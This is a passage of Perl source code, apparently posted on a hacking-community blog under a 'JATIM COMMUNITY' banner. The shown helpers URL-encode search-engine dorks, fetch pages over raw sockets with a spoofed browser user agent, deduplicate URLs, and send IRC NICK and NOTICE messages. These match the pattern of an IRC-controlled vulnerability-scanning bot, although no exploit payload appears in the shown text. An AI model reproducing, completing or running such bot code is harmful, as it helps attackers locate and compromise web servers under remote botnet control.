$dork =~ s/ /\+/g;
$dork =~ s/:/\%3A/g;
$dork =~ s/\//\%2F/g;
$dork =~ s/&/\%26/g;
$dork =~ s/\"/\%22/g;
$dork =~ s/,/\%2C/g;
$dork =~ s/\\/\%5C/g;
return $dork;
}
#################################################

sub query($) {
my $url = $_[0];
$url =~ s/http:\/\///;
my $host = $url;
my $query = $url;
my $page = "";
$host =~ s/href=\"?http:\/\///;
$host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$query =~ s/$host//;
if ( $query eq "" ) { $query = "/"; }
eval {
my $sock = IO::Socket::INET->new(PeerAddr => "$host", PeerPort => "80", Proto => "tcp") or return;
print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
my @r = <$sock>;
$page = "@r";
close($sock);
};
return $page;
}
#################################################

sub calculate {
my @calculate = ();
my %visti = ();
foreach my $element (@_) {
$element =~ s/\/+/\//g;
next if $visti{$element}++;
push @calculate, $element;
}
return @calculate;
}
#################################################

sub nick {
return unless $#_ == 0;
sendraw("NICK $_[0]");
}
#################################################

sub notice {
return unless $#_ == 1;
sendraw("NOTICE $_[0] :$_[1]");
}
##################################################
##################################################
## ##
## JATIM COMMUNITY ##
## ##
##################################################
##################################################
read more...